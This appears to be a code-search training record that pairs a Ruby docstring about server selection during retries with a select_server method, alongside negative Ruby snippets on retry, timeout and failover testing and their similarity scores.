e, :trace)\n @exception_stats.track(\"retry\", e, request)\n end\n end\n end\n true\n end",
"def retry_change_requests; end",
"def retry_change_requests; end",
"def perform(&block)\n raise Exception.new(\"You must have at least 2 requests\") unless @requests.length > 1\n @responses.clear\n requests.each_slice(Limit).to_a.each do |batch|\n body = {\n :batch => Yajl::Encoder.encode(batch),\n :access_token => Baloo.client_credentials\n }\n Client.post(\"/\", :body => body).each do |response|\n # response['headers'] = Yajl::Parser.parse(response['headers'])\n response['body'] = Yajl::Parser.parse(response['body'])\n yield response\n end\n end\n end",
"def try_to_update_database\n begin\n yield\n rescue Exception => msg\n puts \"Not saved: #{msg}\"\n end\n end",
"def flush rec, next_id, tick\n ## if threshold etc.\n db.transaction do\n while rec\n n = db[:tuples].filter(id: rec.id).update(count: rec.count)\n if n == 0\n db[:tuples].insert(id: rec.id, count: rec.count, packed: rec.packed)\n end\n rec.unmark_to_save\n rec = rec.next_rec_to_save\n end\n db[:global].update(next_id: next_id, tick: tick)\n end\n ## rescue ???\n end"
] | [
"0.6986061",
"0.6653464",
"0.63490075",
"0.6196515",
"0.60775375",
"0.5983991",
"0.5978165",
"0.59623253",
"0.5922175",
"0.5881764",
"0.5860333",
"0.57798904",
"0.57437915",
"0.56934613",
"0.56842095",
"0.5648848",
"0.5647232",
"0.5636999",
"0.56354123",
"0.5615424",
"0.5596789",
"0.55847204",
"0.5536475",
"0.54859066",
"0.5447557",
"0.5397752",
"0.53847367",
"0.53711236",
"0.5352952",
"0.53322256",
"0.5315018",
"0.52891445",
"0.52839094",
"0.52688146",
"0.5235145",
"0.52341086",
"0.5231428",
"0.5228163",
"0.52265686",
"0.5207195",
"0.5190533",
"0.5180581",
"0.5160143",
"0.5160143",
"0.51599556",
"0.5144363",
"0.513733",
"0.5136942",
"0.5126077",
"0.51227665",
"0.5107292",
"0.51021427",
"0.5095922",
"0.50867033",
"0.50830424",
"0.50600195",
"0.505233",
"0.5045557",
"0.50447947",
"0.5019272",
"0.50152636",
"0.50107336",
"0.5006568",
"0.49972174",
"0.49695453",
"0.49600413",
"0.49581555",
"0.49339932",
"0.49225548",
"0.49216843",
"0.49202427",
"0.4917236",
"0.49110734",
"0.490411",
"0.49024296",
"0.4900208",
"0.4900197",
"0.48958388",
"0.48919308",
"0.48830867",
"0.48762217",
"0.48725492",
"0.48717445",
"0.48707032",
"0.4861775",
"0.4861775",
"0.4860128",
"0.48594785",
"0.48584163",
"0.48559907",
"0.48548433",
"0.4848053",
"0.48471716",
"0.4846854",
"0.48391286",
"0.4838092",
"0.4838092",
"0.48355752",
"0.48351762",
"0.48285577"
] | 0.67037195 | 1 |
This is a separate method to make it possible for the test suite to assert that server selection is performed during retry attempts. | def select_server(cluster, server_selector, session)
server_selector.select_server(cluster, nil, session)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_unsupported_with_retry_and_fail\n msg = mk_message({'error' => 'Unsupported type',\n 'error_code' => 'unsupported-type',\n 'assoc_type' => 'HMAC-SHA1',\n 'session_type' => 'DH-SHA1',\n })\n\n assert_log_matches('Unsupported association type',\n \"Server #{@server_url} refused\") {\n assert_equal(call_negotiate([msg, msg]), nil)\n }\n end",
"def detect_failure\n time = Time.now\n server = server_structs.detect do |server|\n server.next_retry > time\n end\n inspect_server(server) if server\n end",
"def ping\n tries = 3\n begin\n # @server.ping\n rescue Exception => e\n retry if (tries -= 1) > 1\n raise e, \"The server is not available (or you do not have permissions to access it)\"\n end\n end",
"def should_retry?(code)\n false\n end",
"def test_unresponsive_server\n socket = stub_server 43041\n\n cache = Memcached.new(\n [@servers.last, 'localhost:43041'],\n :prefix_key => @prefix_key,\n :auto_eject_hosts => true,\n :server_failure_limit => 2,\n :retry_timeout => 1,\n :hash_with_prefix_key => false,\n :hash => :md5,\n :exception_retry_limit => 0\n )\n\n # Hit second server up to the server_failure_limit\n key2 = 'test_missing_server'\n assert_raise(Memcached::ATimeoutOccurred) { cache.set(key2, @value) }\n assert_raise(Memcached::ATimeoutOccurred) { cache.get(key2, @value) }\n\n # Hit second server and pass the limit\n key2 = 'test_missing_server'\n begin\n cache.get(key2)\n rescue => e\n assert_equal Memcached::ServerIsMarkedDead, e.class\n assert_match(/localhost:43041/, e.message)\n end\n\n # Hit first server on retry\n assert_nothing_raised do\n cache.set(key2, @value)\n assert_equal cache.get(key2), @value\n end\n\n sleep(2)\n\n # Hit second server again after restore, expect same failure\n key2 = 'test_missing_server'\n assert_raise(Memcached::ATimeoutOccurred) do\n cache.set(key2, @value)\n end\n\n ensure\n socket.close\n end",
"def retry_change_requests; end",
"def retry_change_requests; end",
"def retry\n self.solved(:retry)\n end",
"def retry_options\n {tries: 15, sleep: 1}\n end",
"def expect_with_retry sample_name, attempts: 5\n @attempt_number ||= 0\n yield\n @attempt_number = nil\n rescue Minitest::Assertion => e\n @attempt_number += 1\n puts \"failed attempt #{@attempt_number} for #{sample_name}\"\n sleep @attempt_number*@attempt_number\n retry if @attempt_number < attempts\n @attempt_number = nil\n raise e\n end",
"def test_out_of_ports_during_add\n proxy = OpenShift::FrontendProxyServer.new\n\n uid = 500\n\n proxy.expects(:system_proxy_show).returns(\"127.0.0.1:9000\").times(@ports_per_user)\n proxy.expects(:system_proxy_set).never\n\n assert_raises OpenShift::FrontendProxyServerException do\n proxy.add(uid, '127.0.0.1', 8080) \n end\n end",
"def expect_with_retry attempts: 5\n attempt_number ||= 0\n yield\n rescue RSpec::Expectations::ExpectationNotMetError\n attempt_number += 1\n retry if attempt_number < attempts\n raise\n end",
"def test_no_request_retry_get\n response = Typhoeus.get(\"http://127.0.0.1:9442/backend_call_count?id=get-timeout\")\n assert_response_code(200, response)\n assert_equal(\"0\", response.body)\n\n response = Typhoeus.get(\"http://127.0.0.1:9080/api/timeout\", http_options)\n assert_response_code(504, response)\n\n # Ensure that the backend has only been called once.\n response = Typhoeus.get(\"http://127.0.0.1:9442/backend_call_count?id=get-timeout\")\n assert_response_code(200, response)\n assert_equal(\"1\", response.body)\n\n # Wait 5 seconds for any possible retry attempts that might be pending, and\n # then ensure the backend has still only been called once.\n sleep 5\n response = Typhoeus.get(\"http://127.0.0.1:9442/backend_call_count?id=get-timeout\")\n assert_response_code(200, response)\n assert_equal(\"1\", response.body)\n end",
"def testSeveralSlaveClients1Fail\n initTestCase do\n $Context[:SlaveActions] = [\n [ 'DummyTool', 'DummyAction', [] ]\n ]\n $Context[:DummySenderSendError] = {\n 'SlaveClient1' => RuntimeError.new('Sending error')\n }\n executeMaster( [ '--process', 'DummyProcess', '--user', 'DummyUser' ],\n :Repository => 'Dummy/MasterServerInstalledWith2SlaveClients',\n :AddRegressionProcesses => true,\n :AddRegressionSenders => true,\n :Error => RuntimeError\n ) do |iError|\n assert_equal(\n {\n 'SlaveClient1' => [\n [ 'sendMessage', [ 'DummyUser', {\n 'DummyTool' => {\n 'DummyAction' => [\n []\n ]\n }\n } ] ]\n ],\n 'SlaveClient2' => [\n [ 'sendMessage', [ 'DummyUser', {\n 'DummyTool' => {\n 'DummyAction' => [\n []\n ]\n }\n } ] ]\n ]\n },\n $Variables[:DummySenderCalls]\n )\n assert_equal(\n {\n {\n :Type => 'DummySender',\n :Tools => [\n Tools::All\n ],\n :PersoParam => 'SlaveClient1'\n } => [\n [ 'DummyUser', {\n 'DummyTool' => {\n 'DummyAction' => [\n []\n ]\n }\n } ]\n ]\n },\n getSlaveClientQueues\n )\n end\n end\n end",
"def retry_change_requests\n @agent.retry_change_requests\n end",
"def retry_read(original_error, session, server_selector, failed_server: nil, &block)\n begin\n server = select_server(cluster, server_selector, session, failed_server)\n rescue Error, Error::AuthError => e\n original_error.add_note(\"later retry failed: #{e.class}: #{e}\")\n raise original_error\n end\n \n log_retry(original_error, message: 'Read retry')\n \n begin\n yield server, true\n rescue *retryable_exceptions => e\n e.add_notes('modern retry', 'attempt 2')\n raise e\n rescue Error::OperationFailure, Error::PoolError => e\n e.add_note('modern retry')\n unless e.write_retryable?\n original_error.add_note(\"later retry failed: #{e.class}: #{e}\")\n raise original_error\n end\n e.add_note(\"attempt 2\")\n raise e\n rescue Error, Error::AuthError => e\n e.add_note('modern retry')\n original_error.add_note(\"later retry failed: #{e.class}: #{e}\")\n raise original_error\n end\n end",
"def retry!\n raise 'Not implemented!'\n end",
"def test_no_request_retry_get\n response = Typhoeus.get(\"http://127.0.0.1:9442/backend_call_count?id=get-timeout\")\n assert_response_code(200, response)\n assert_equal(\"0\", response.body)\n\n response = Typhoeus.get(\"http://127.0.0.1:9080/api/delay-sec/20?backend_counter_id=get-timeout\", http_options)\n assert_response_code(504, response)\n assert_match(\"Inactivity Timeout\", response.body)\n\n # Ensure that the backend has only been called once.\n response = Typhoeus.get(\"http://127.0.0.1:9442/backend_call_count?id=get-timeout\")\n assert_response_code(200, response)\n assert_equal(\"1\", response.body)\n\n # Wait 5 seconds for any possible retry attempts that might be pending, and\n # then ensure the backend has still only been called once.\n sleep 5\n response = Typhoeus.get(\"http://127.0.0.1:9442/backend_call_count?id=get-timeout\")\n assert_response_code(200, response)\n assert_equal(\"1\", response.body)\n end",
"def clc_test_server\n puts \"clc_test_server\"\n server = clc_service.servers.find { |s| s.Name == clc_server_name }\n unless server\n server = clc_service.servers.create({\n :Name => clc_server_name\n }.merge(clc_set_test_server_attributes))\n server.wait_for { ready? }\n end\n server\nend",
"def test_no_request_retry_post\n response = Typhoeus.get(\"http://127.0.0.1:9442/backend_call_count?id=post-timeout\")\n assert_response_code(200, response)\n assert_equal(\"0\", response.body)\n\n response = Typhoeus.post(\"http://127.0.0.1:9080/api/timeout\", http_options)\n assert_response_code(504, response)\n\n # Ensure that the backend has only been called once.\n response = Typhoeus.get(\"http://127.0.0.1:9442/backend_call_count?id=post-timeout\")\n assert_response_code(200, response)\n assert_equal(\"1\", response.body)\n\n # Wait 5 seconds for any possible retry attempts that might be pending, and\n # then ensure the backend has still only been called once.\n sleep 5\n response = Typhoeus.get(\"http://127.0.0.1:9442/backend_call_count?id=post-timeout\")\n assert_response_code(200, response)\n assert_equal(\"1\", response.body)\n end",
"def test_no_request_retry_when_timeout_between_varnish_and_nginx_timeout\n response = Typhoeus.get(\"http://127.0.0.1:9442/backend_call_count?id=post-between-varnish-timeout\")\n assert_response_code(200, response)\n assert_equal(\"0\", response.body)\n\n response = Typhoeus.get(\"http://127.0.0.1:9080/api/between-varnish-timeout\", http_options)\n assert_response_code(504, response)\n\n # Ensure that the backend has only been called once.\n response = Typhoeus.get(\"http://127.0.0.1:9442/backend_call_count?id=post-between-varnish-timeout\")\n assert_response_code(200, response)\n assert_equal(\"1\", response.body)\n\n # Wait 5 seconds for any possible retry attempts that might be pending, and\n # then ensure the backend has still only been called once.\n sleep 5\n response = Typhoeus.get(\"http://127.0.0.1:9442/backend_call_count?id=post-between-varnish-timeout\")\n assert_response_code(200, response)\n assert_equal(\"1\", response.body)\n end",
"def should_retry(e)\n options[:exceptions_to_retry].each {|ex_class| return true if e.instance_of?(ex_class)}\n false\n end",
"def lock_timeout_retries; end",
"def test_0020_failover_badparms()\n assert_raise(Stomp::Error::MalformedFailoverOptionsError) {\n c = Stomp::Client.new(@badparms)\n }\n end",
"def retry_change_requests=(retri); end",
"def trigger_failover_retry pref, attempt\n trigger_failover_event :retry, pref, attempt, self.active_client\n end",
"def test_start_auction_to_one_server_should_replicate\n reset(REP_SERVERS)\n server1, server2, server3 = REP_SERVERS\n name = \"gau2\"\n \n do_rest(server1, :start_auction, {name: name, end_time: Time.now.to_i + 3})\n do_rest(server1, :bid, {name: name, client:1, bid:100})\n res = do_rest(server1, :status, {name: name})\n assert_equal(\"1\", res.strip)\n\n res = do_rest(server2, :status, {name: name})\n assert_equal(\"1\", res.strip)\n res = do_rest(server3, :status, {name: name})\n assert_equal(\"1\", res.strip)\n end",
"def xxx_test_post_init_error\n assert_raises( EventMachine::ConnectionNotBound ) {\n EM.run {\n EM::Timer.new(1) {EM.stop}\n EM.start_server TestHost, TestPort\n EM.connect TestHost, TestPort, PostInitError\n }\n }\n EM.run {\n EM.stop\n }\n assert !EM.reactor_running?\n end",
"def ts_retry(attempts=1, &block)\n attempt = 0\n \n begin\n yield block\n rescue RSpec::Expectations::ExpectationNotMetError => e\n attempt += 1\n if attempt > attempts\n raise e\n else\n sleep 0.5\n retry\n end\n end\n end",
"def retries(params = nil)\n if @name_index\n @conf.insert(@name_index + @conf.length, \" \" + \"retries \" + params.to_s + \"\\n\")\n else\n puts \"no #{@proxy_type} name assigned\"\n return false\n end\n end",
"def test_em_get_sock_opt_unsupported\n assert true\n end",
"def poll_max_retries\n 3\n end",
"def test_autoretries\n group_name = 'retries'\n r = @titan.groups_name_tasks_post(group_name, tasks: [{\n image: 'treeder/error:0.0.2', \n retries_delay: 5,\n max_retries: 2\n }])\n task = wait_for_completion(r.tasks[0])\n assert_equal \"error\", task.status\n p task\n # Fix this once retries set things correctly.\n assert task.retry_at && task.retry_at != \"\"\n assert_equal 2, task.max_retries\n # should retry in 5 seconds. \n task2 = @titan.groups_name_tasks_id_get(group_name, task.retry_at).task\n assert \"delayed\", task2.status # shouldn't start for 5 seconds\n assert task2.id == task.retry_at\n assert task2.retry_of == task.id\n task2 = wait_for_completion(task2)\n assert task.completed_at.to_time < task2.started_at.to_time - 5\n assert_equal 1, task2.max_retries # decremented\n # last retry\n task3 = @titan.groups_name_tasks_id_get(group_name, task2.retry_at).task\n assert \"delayed\", task3.status # shouldn't start for 5 seconds\n task3 = wait_for_completion(task3)\n assert task2.completed_at.to_time < task3.started_at.to_time - 5 \n assert task3.retry_at == nil || task3.retry_at == 0 \n assert task3.max_retries == nil || task3.max_retries == 0\n end",
"def select_server(cluster, server_selector, session, failed_server = nil)\n server_selector.select_server(cluster, nil, session, deprioritized: [failed_server].compact)\n end",
"def test_unsupported_with_retry\n msg = mk_message({'error' => 'Unsupported type',\n 'error_code' => 'unsupported-type',\n 'assoc_type' => 'HMAC-SHA1',\n 'session_type' => 'DH-SHA1',\n })\n\n assoc = Association.new('handle', 'secret', Time.now, 10000, 'HMAC-SHA1')\n\n assert_log_matches('Unsupported association type') {\n assert_equal(assoc, call_negotiate([msg, assoc]))\n }\n end",
"def test_idle_timeout_server_no_open\n s = TCPServer.new(0)\n cont = Container.new(__method__)\n cont.connect(\":#{s.addr[1]}\", {:idle_timeout => 0.1, :handler => ExceptionMessagingHandler.new })\n ex = assert_raises(Qpid::Proton::Condition) { cont.run }\n assert_match(/resource-limit-exceeded/, ex.to_s)\n ensure\n s.close if s\n end",
"def retryable?\n raise 'Not implemented!'\n end",
"def test_idle_timeout_client\n server = ServerContainerThread.new(\"#{__method__}.server\", {:idle_timeout => 0.1})\n client_handler = Class.new(ExceptionMessagingHandler) do\n def initialize() @ready, @block = Queue.new, Queue.new; end\n attr_reader :ready, :block\n def on_connection_open(c)\n @ready.push nil # Tell the main thread we are now open\n @block.pop # Block the client so the server will time it out\n end\n end.new\n\n client = Container.new(nil, \"#{__method__}.client\")\n client.connect(server.url, {:handler => client_handler})\n client_thread = Thread.new { client.run }\n client_handler.ready.pop # Wait till the client has connected\n server.join # Exits when the connection closes from idle-timeout\n client_handler.block.push nil # Unblock the client\n ex = assert_raises(Qpid::Proton::Condition) { client_thread.join }\n assert_match(/resource-limit-exceeded/, ex.to_s)\n end",
"def test05_TwoGroupsRepostNote\n\t\trepostNotePop\n\t\tsleep 3\n \t\ttwoGroupSelect\n \t\tsleep 3\n\t\t\n\t\tbegin \n\t\tassert $repost_confirmation.exists?\n\t\t\trescue => e\n\t\t\tputs \"RS2T05: FAILED! User unable to repost!\"\n\t\t\tputs e\n\t\tend\n\tend",
"def retry\n super\n end",
"def testResumeSlaveClientQueues1Of2\n initTestCase do\n $Context[:DummySenderSendError] = {\n 'SlaveClient1' => RuntimeError.new('Sending error')\n }\n executeMaster( [ '--send' ],\n :Repository => 'Dummy/MasterServerInstalledWith2SlaveClients',\n :AddRegressionProcesses => true,\n :AddRegressionSenders => true,\n :AddSlaveClientQueues => {\n {\n :Type => 'DummySender',\n :Tools => [\n Tools::All\n ],\n :PersoParam => 'SlaveClient1'\n } => [\n [ 'DummyUser1',\n {\n 'DummyTool1' => {\n 'DummyAction1' => [\n []\n ]\n }\n }\n ]\n ],\n {\n :Type => 'DummySender',\n :Tools => [\n Tools::All\n ],\n :PersoParam => 'SlaveClient2'\n } => [\n [ 'DummyUser2',\n {\n 'DummyTool2' => {\n 'DummyAction2' => [\n []\n ]\n }\n }\n ]\n ]\n },\n :Error => RuntimeError\n ) do |iError|\n assert_equal(\n {\n 'SlaveClient1' => [\n [ 'sendMessage', [ 'DummyUser1', {\n 'DummyTool1' => {\n 'DummyAction1' => [\n []\n ]\n }\n } ] ]\n ],\n 'SlaveClient2' => [\n [ 'sendMessage', [ 'DummyUser2', {\n 'DummyTool2' => {\n 'DummyAction2' => [\n []\n ]\n }\n } ] ]\n ]\n },\n $Variables[:DummySenderCalls]\n )\n assert_equal(\n {\n {\n :Type => 'DummySender',\n :Tools => [\n Tools::All\n ],\n :PersoParam => 'SlaveClient1'\n } => [\n [ 'DummyUser1',\n {\n 'DummyTool1' => {\n 'DummyAction1' => [\n []\n ]\n }\n }\n ]\n ]\n },\n getSlaveClientQueues\n )\n end\n end\n end",
"def testSeveralSlaveClients1FailDuringPrepare\n initTestCase do\n setupTempFile do |iTmpFileName|\n lTransferFile = WEACE::Master::TransferFile.new(iTmpFileName)\n $Context[:SlaveActions] = [\n [ 'DummyTool', 'DummyAction', [lTransferFile] ]\n ]\n $Context[:DummySenderPrepareError] = {\n 'SlaveClient1' => RuntimeError.new('Preparing error')\n }\n executeMaster( [ '--process', 'DummyProcess', '--user', 'DummyUser' ],\n :Repository => 'Dummy/MasterServerInstalledWith2SlaveClients',\n :AddRegressionProcesses => true,\n :AddRegressionSenders => true,\n :Error => RuntimeError\n ) do |iError|\n assert_equal(\n {\n 'SlaveClient1' => [\n [ 'prepareFileTransfer', [ iTmpFileName ] ]\n ],\n 'SlaveClient2' => [\n [ 'prepareFileTransfer', [ iTmpFileName ] ],\n [ 'sendMessage', [ 'DummyUser', {\n 'DummyTool' => {\n 'DummyAction' => [\n [ \"#{iTmpFileName}_PREPARED\" ]\n ]\n }\n } ] ]\n ]\n },\n $Variables[:DummySenderCalls]\n )\n assert(File.exists?(iTmpFileName))\n assert_equal(\n {\n {\n :Type => 'DummySender',\n :Tools => [\n Tools::All\n ],\n :PersoParam => 'SlaveClient1'\n } => [\n [ 'DummyUser', {\n 'DummyTool' => {\n 'DummyAction' => [\n [lTransferFile]\n ]\n }\n } ]\n ]\n },\n getSlaveClientQueues\n )\n assert_equal({iTmpFileName => 1}, getTransferFiles)\n end\n end\n end\n end",
"def retry!\n raise RetryMessage\n end",
"def lock_timeout_retries=(_arg0); end",
"def set_retry(opts)\n opts = check_params(opts,[:retries])\n super(opts)\n end",
"def nretries\n options[:nretries]\n end",
"def test_retries_failed_temporary\n service_def = { \"DummyService\" => \n { \"type\" => \"DummyService\",\n \"priority\" => 3, \n \"responses\" => [\n { \"service_type_value\" => \"fulltext\",\n \"display_text\" => \"created\"\n }\n ]\n }\n }\n config = {\"default\" => {\"services\" => service_def}}\n\n\n with_service_config(config) do \n retry_after = 10\n original_updated_at = Time.now - retry_after - 1\n\n request = fake_umlaut_request(\"/?foo=bar\")\n request.dispatched_services.create(\n :status => DispatchedService::FailedTemporary,\n :service_id => \"DummyService\",\n :updated_at => original_updated_at\n )\n\n collection = Collection.new(request, \n ServiceStore.global_service_store.determine_services,\n Confstruct::Configuration.new(:requeue_failedtemporary_services_in => retry_after))\n collection.dispatch_services!.join\n\n ds = request.dispatched_services(true).find {|ds| ds.service_id == \"DummyService\"}\n\n assert ds, \"DispatchedService does not exist for DummyService\"\n assert ds.status == DispatchedService::Successful, \"DispatchedService not marked successful\"\n assert ds.updated_at > original_updated_at, \"DispatchedService updated_at not updated\"\n\n assert request.service_responses.to_a.find {|sr| sr.service_id == \"DummyService\" }, \"ServiceResponse not created\"\n end\n end",
"def server_choice_check\n begin\n choice = gets.chop.downcase\n if choice != \"y\" && choice != \"n\"\n raise \"Wrong input!\"\n end\n rescue StandardError => e\n puts \"#{e} Write either 'y' or 'n'\"\n retry\n else\n connect_to_new_server if choice == \"n\"\n end\n end",
"def check_server\n raise Exception.new(\"Could not reach Apocalypse server please check the address and port and try again.\") unless server_reachable?\n end",
"def test_failures\n # create a server with the file\n server = nil\n\n config = tempfile\n [\n \"[this is invalid]\\nallow one.two.com\", # invalid name\n \"[valid]\\nallow *.testing something.com\", # invalid allow\n \"[valid]\\nallow one.two.com\\ndeny *.testing something.com\", # invalid deny\n ].each do |failer|\n File.open(config, \"w\") { |f| f.puts failer }\n assert_raise(Puppet::Network::Handler::FileServerError, \"Did not fail on #{failer.inspect}\") {\n\n server = Puppet::Network::Handler::FileServer.new(\n\n :Local => false,\n\n :Config => config\n )\n }\n end\n end",
"def test_failing_job_with_retry()\n # FIXME: check that the job has been effectively tried twice\n # FIXME: test a job working the second time\n assert_nothing_thrown() do\n s = generate_spawner(1, false, 1, @jobs_log_file, @spawner_log_file)\n generate_tasks_addition(s, 1, true, 2) {plop}\n end\n end",
"def test_server_resource_limit\n puts \"test_server_resource_limit\"\n start_slow_clients(nclients: 100)\n sleep 5\n\n (rand(6)+1).times do\n r = push(random_string)\n assert_equal(0xFF, r, \"expected busy-state response\")\n end\n end",
"def retryable( options = {}, &block )\n opts = { :tries => 1, :on => Exception }.merge(options)\n\n return nil if opts[:tries] == 0\n \n retry_exception, tries = [ opts[:on] ].flatten, opts[:tries]\n \n begin\n return yield\n rescue *retry_exception\n retry if (tries -= 1) > 0\n end\n \n yield\nend",
"def testResumeSlaveClientQueues\n initTestCase do\n executeMaster( [ '--send' ],\n :Repository => 'Dummy/MasterServerInstalledWith2SlaveClients',\n :AddRegressionProcesses => true,\n :AddRegressionSenders => true,\n :AddSlaveClientQueues => {\n {\n :Type => 'DummySender',\n :Tools => [\n Tools::All\n ],\n :PersoParam => 'SlaveClient1'\n } => [\n [ 'DummyUser1',\n {\n 'DummyTool1' => {\n 'DummyAction1' => [\n []\n ]\n }\n }\n ]\n ],\n {\n :Type => 'DummySender',\n :Tools => [\n Tools::All\n ],\n :PersoParam => 'SlaveClient2'\n } => [\n [ 'DummyUser2',\n {\n 'DummyTool2' => {\n 'DummyAction2' => [\n []\n ]\n }\n }\n ]\n ]\n }\n ) do |iError|\n assert_equal(\n {\n 'SlaveClient1' => [\n [ 'sendMessage', [ 'DummyUser1', {\n 'DummyTool1' => {\n 'DummyAction1' => [\n []\n ]\n }\n } ] ]\n ],\n 'SlaveClient2' => [\n [ 'sendMessage', [ 'DummyUser2', {\n 'DummyTool2' => {\n 'DummyAction2' => [\n []\n ]\n }\n } ] ]\n ]\n },\n $Variables[:DummySenderCalls]\n )\n assert_equal({}, getSlaveClientQueues)\n end\n end\n end",
"def should_retry?\n return false if @retries_done >= @retries\n @retries_done += 1\n true\n end",
"def test_no_request_retry_post\n response = Typhoeus.get(\"http://127.0.0.1:9442/backend_call_count?id=#{unique_test_id}\")\n assert_response_code(200, response)\n assert_equal(\"0\", response.body)\n\n response = Typhoeus.post(\"http://127.0.0.1:9080/api/delay-sec/20?backend_counter_id=#{unique_test_id}\", http_options)\n assert_response_code(504, response)\n assert_match(\"Inactivity Timeout\", response.body)\n\n # Ensure that the backend has only been called once.\n response = Typhoeus.get(\"http://127.0.0.1:9442/backend_call_count?id=#{unique_test_id}\")\n assert_response_code(200, response)\n assert_equal(\"1\", response.body)\n\n # Wait 5 seconds for any possible retry attempts that might be pending, and\n # then ensure the backend has still only been called once.\n sleep 5\n response = Typhoeus.get(\"http://127.0.0.1:9442/backend_call_count?id=#{unique_test_id}\")\n assert_response_code(200, response)\n assert_equal(\"1\", response.body)\n end",
"def testSeveralSlaveClients\n initTestCase do\n $Context[:SlaveActions] = [\n [ 'DummyTool', 'DummyAction', [] ]\n ]\n executeMaster( [ '--process', 'DummyProcess', '--user', 'DummyUser' ],\n :Repository => 'Dummy/MasterServerInstalledWith2SlaveClients',\n :AddRegressionProcesses => true,\n :AddRegressionSenders => true\n ) do |iError|\n assert_equal(\n {\n 'SlaveClient1' => [\n [ 'sendMessage', [ 'DummyUser', {\n 'DummyTool' => {\n 'DummyAction' => [\n []\n ]\n }\n } ] ]\n ],\n 'SlaveClient2' => [\n [ 'sendMessage', [ 'DummyUser', {\n 'DummyTool' => {\n 'DummyAction' => [\n []\n ]\n }\n } ] ]\n ]\n },\n $Variables[:DummySenderCalls]\n )\n assert_equal([], getSlaveClientQueue)\n end\n end\n end",
"def testSeveralSlaveClients2Actions\n initTestCase do\n $Context[:SlaveActions] = [\n [ 'DummyTool1', 'DummyAction1', [] ],\n [ 'DummyTool2', 'DummyAction2', [] ]\n ]\n executeMaster( [ '--process', 'DummyProcess', '--user', 'DummyUser' ],\n :Repository => 'Dummy/MasterServerInstalledWith2SlaveClients',\n :AddRegressionProcesses => true,\n :AddRegressionSenders => true\n ) do |iError|\n assert_equal(\n {\n 'SlaveClient1' => [\n [ 'sendMessage', [\n 'DummyUser',\n {\n 'DummyTool1' => {\n 'DummyAction1' => [\n []\n ]\n },\n 'DummyTool2' => {\n 'DummyAction2' => [\n []\n ]\n }\n } ] ]\n ],\n 'SlaveClient2' => [\n [ 'sendMessage', [\n 'DummyUser',\n {\n 'DummyTool1' => {\n 'DummyAction1' => [\n []\n ]\n },\n 'DummyTool2' => {\n 'DummyAction2' => [\n []\n ]\n }\n } ] ]\n ]\n },\n $Variables[:DummySenderCalls]\n )\n assert_equal([], getSlaveClientQueue)\n end\n end\n end",
"def rescue_connection_failure(max_retries=60)\n retries = 0\n begin\n yield\n rescue Mongo::ConnectionFailure => ex\n puts ex\n retries += 1\n raise ex if retries > max_retries\n sleep(0.5)\n retry\n end\nend",
"def servers\n server_structs.each do |server|\n def server.alive?\n next_retry <= Time.now\n end\n end\n end",
"def retry_change_requests= retry_change_requests\n @agent.retry_change_requests = retry_change_requests\n end",
"def testResumeSlaveClientQueueFail\n initTestCase do\n $Context[:DummySenderSendError] = RuntimeError.new('Sending error')\n executeMaster( [ '--send' ],\n :Repository => 'Dummy/MasterServerInstalledWithDummySender',\n :AddRegressionProcesses => true,\n :AddRegressionSenders => true,\n :AddSlaveClientQueues => {\n {\n :Type => 'DummySender',\n :Tools => [\n Tools::All\n ]\n } => [\n [ 'DummyUser1',\n {\n 'DummyTool1' => {\n 'DummyAction1' => [\n []\n ]\n }\n }\n ]\n ]\n },\n :Error => RuntimeError\n ) do |iError|\n assert_equal( [\n [ 'sendMessage', [ 'DummyUser1', {\n 'DummyTool1' => {\n 'DummyAction1' => [\n []\n ]\n }\n } ]\n ]\n ],\n $Variables[:DummySenderCalls]\n )\n assert_equal(\n [\n [ 'DummyUser1', {\n 'DummyTool1' => {\n 'DummyAction1' => [\n []\n ]\n }\n } ]\n ],\n getSlaveClientQueue\n )\n end\n end\n end",
"def test_post_to_hipchat_with_repeated_failure\n stub_request(:post, 'http://api.hipchat.com/v1/rooms/message').to_return(\n {:status => ['500', 'Server Error']}\n )\n\n CDO.log.info 'Expecting following HipChat post to fail:'\n HipChat.post_to_hipchat('fake_room', 'my_message3')\n HipChat.await_retries_for_test\n\n # Make we only tried 3 times (HipChat.MAX_RETRIES)\n assert_equal 3, HipChat.retries_for_test\n assert_in_delta BACKOFF + (2 * BACKOFF) + (4 * BACKOFF),\n HipChat.total_backoff_for_test\n end",
"def test_post_to_hipchat_with_failures\n stub_request(:post, 'http://api.hipchat.com/v1/rooms/message').to_return(\n {:status => ['500', 'Server Error']},\n {:status => ['500', 'Server Error']},\n {:body => 'OK'}\n )\n\n HipChat.post_to_hipchat('fake_room', 'my_message2')\n HipChat.await_retries_for_test\n assert_requested :post, 'http://api.hipchat.com/v1/rooms/message', times: 3 do |req|\n req.body.match /message=my_message2/\n end\n\n assert_equal 2, HipChat.retries_for_test\n assert_in_delta BACKOFF + (2 * BACKOFF), HipChat.total_backoff_for_test\n end",
"def store_failure_on_next message\r\n raise 'Not supported in Selenium Core at the moment'\r\n end",
"def can_retry?\n @can_retry\n end",
"def test_no_request_retry_when_timeout_between_layer_timeouts\n start_delay = $config[\"nginx\"][\"proxy_connect_timeout\"] - 1\n end_delay = $config[\"nginx\"][\"proxy_read_timeout\"] * 2\n assert_operator(start_delay, :>, 0)\n assert_operator(start_delay, :<, end_delay)\n\n response = Typhoeus.get(\"http://127.0.0.1:9442/backend_call_count?id=#{unique_test_id}\")\n assert_response_code(200, response)\n assert_equal(\"0\", response.body)\n\n hydra = Typhoeus::Hydra.new\n requests = []\n delay = start_delay\n while delay <= end_delay\n request = Typhoeus::Request.new(\"http://127.0.0.1:9080/api/delay-sec/#{delay}?backend_counter_id=#{unique_test_id}\", http_options)\n hydra.queue(request)\n\n requests << {\n :request => request,\n :delay => delay,\n }\n\n delay += 0.5\n end\n hydra.run\n\n timeout_count = 0\n ok_count = 0\n either_count = 0\n requests.each do |req|\n if req.fetch(:delay) > $config[\"nginx\"][\"proxy_read_timeout\"] + 1\n timeout_count += 1\n assert_response_code(504, req.fetch(:request).response)\n assert_match(\"Inactivity Timeout\", req.fetch(:request).response.body)\n elsif req.fetch(:delay) < $config[\"nginx\"][\"proxy_read_timeout\"]\n ok_count += 1\n assert_response_code(200, req.fetch(:request).response)\n else\n # For requests in the vicinity of the timeout, either a timeout or an\n # ok response may happen due to various timing edge cases.\n either_count += 1\n end\n end\n\n assert_operator(timeout_count, :>=, 6)\n assert_operator(ok_count, :>=, 6)\n assert_operator(either_count, :>=, 3)\n assert_operator(either_count, :<=, 6)\n\n # Ensure that the backend has only been called once 